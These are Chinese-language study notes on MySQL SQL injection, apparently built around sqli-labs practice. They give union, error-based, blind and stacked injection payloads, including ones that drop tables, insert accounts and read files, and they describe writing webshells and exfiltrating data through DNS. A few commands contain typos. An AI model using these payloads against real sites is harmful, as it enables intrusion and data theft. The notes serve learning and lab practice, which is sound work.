前置知识:
1.mysql数据库的一些基本使用:增删改查
2.python脚本的使用
3.了解php中常见的与mysql相关的函数和类
0x01:数据库基础
1.基础操作
查看库名:
mysql> show databases;
创建库:
mysql> creat database test;
删除库:
mysql> drop database test;
使用库:
mysql> user test
创建表:
mysql> create table test(
-> `id` int(11),
-> `name` varchar(255)
->);
表的一些基本操作:
1.insert(增
insert into test values('1','yer');
2.delete(删
delete from test where xxxx;
3.update(改
update test set name='x' where id = 1;
4.select(查
select * from test;
# * 实现输出所有字段
2.常用的变量、符号、函数
常用变量:
database() //查看当前数据名
user() //用户
version() //mysql版本
@@basedir //安装路径
逻辑运算符
1.& and
2.|| or
3.^ xor
常用函数
1.字符串截取:
substr(database(),1,1) //从1位置开始截取长度为1 substring
mid(database(),1,1)
left(database(),1) //左边开始截取长度为1
right(database(),1)
2.编码函数
ascii()
hex()
char()
3.文件函数
load_file //读取文件内容
0x02:闭合
1.闭合
如果语句中有多余的和单引号或者其他符号就会报错,所有要进行闭合
常见注释符:
%23(#)
--+
;%00 //利用00截断
`
or '1'='1
ban了注释符和单引号
使用反斜杠进行转义
0x03:常见注入方法
1.联合查询注入
基本要求:
1.查询列数必须一致
2.查询语句的查询的各列类型、顺序最好一致
步骤:
1.闭合
2.判断字段数
3.判断结果输出位置
4.爆库、爆表、爆列
#order by:如果后面接的是整形的话,根据第几个字段进行排序
#union:合并结果
#information_schema数据库中,table表提供关于数据库中表的信息,columns表提供表中列信息
利用sqlilabs
进行试验
查询字段数:
order by 4
查询结果输出位置:
union select 1,2,3
爆库:
union select 1,2,database()
爆表:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=''
2.报错注入
在没法用联合查询时使用,报错注入就是利用了数据库的某些机制,人为的制造错误条件,使得查询结果能够出现在错误信息中
原理:
路径写入其他格式,就会报错并且会返回我们写入非法格式内容,我们可以利用这个得到我们想得到的内容
tips:
报错注入有长度限制,不同的函数限制不一样
常用函数:
1.updatexml:更新xml文档的函数
2.extractvalue:对xml文档进行查询的函数
//updatexml的最大长度是32位的,所以有所局限,如果密码长度超过了32位就不会被显示出来,可以用right函数
常用语句:
updatexml(1,concat(0x7e,database(),0x7e),1)
//之后修改中间concat的语句即可
3.盲注
根据sqlilabs进行学习
只有两种回显(永真 永假)的时候,为布尔盲注
步骤:
1.闭合
2.找到永真和永假的两种情况
3.利用这两种情况进行对数据进行一位一位的获取
涉及函数:
substr
ascii
语句:
and ascii(substr(database(),1,1))>1
通过时间差导致的两种不同的回显的注入,为时间盲注
时间盲注中可以使用if表达式和sleep函数
//if(expr1,1,sleep(5))
//如果expr1为true则搜索1,反之则触发sleep实现延时差
1.sleep
2.benchmarkdui
3.笛卡尔积
爆破还可以利用python脚本
4.堆叠注入
mysql
1' ;show tables# (查看表)
1' ;create table test like users#(创建新表)
1' ;drop table test#(删除新创建的表)
1' ;select 1,2,3#(查询数据)
1' ;select load_file('c:/tmpupbbn.php')#(加载文件)
1' ;insert into users(id,username,password)
values('100','new','new')#(修改数据)
1' ;rename tables
利用 HANDLER 读取数据
1';handler ` ` open;handler ` ` read first;handler ` ` close;#
0x04:文件读写
可以将数据库中的数据写入文件中
条件:
1.设置security-file-priv为Null
2.设置路径
3.文件不存在
4.有权限
文件读取函数:
load_file('文件绝对路径')
写文件函数:
into outfile
into dumpfile
//区别在于,因为into outfile函数会在行末端写入新行更致命的是会转义换行符,所有如果是利用mydql写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏,这时候我们用into dumpfile就能导出一个完整能执行的二进制文件
写文件–>写shell
读文件—DNSLOG外带
前置知识:
1.UNC路径:
(只存在于windows中
unc路径就是类似\\softer这样的形式的网络路径
格式:\\servername\sharename 其中servername是服务器名,sharename是共享资源的名称
条件:
1.设置security-file-priv为null
2.目标为windows
学习资料:
https://www.anquanke.con/post/id/205376
[BJDCTF 2nd]简单注入
布尔盲注
0x01:打开场景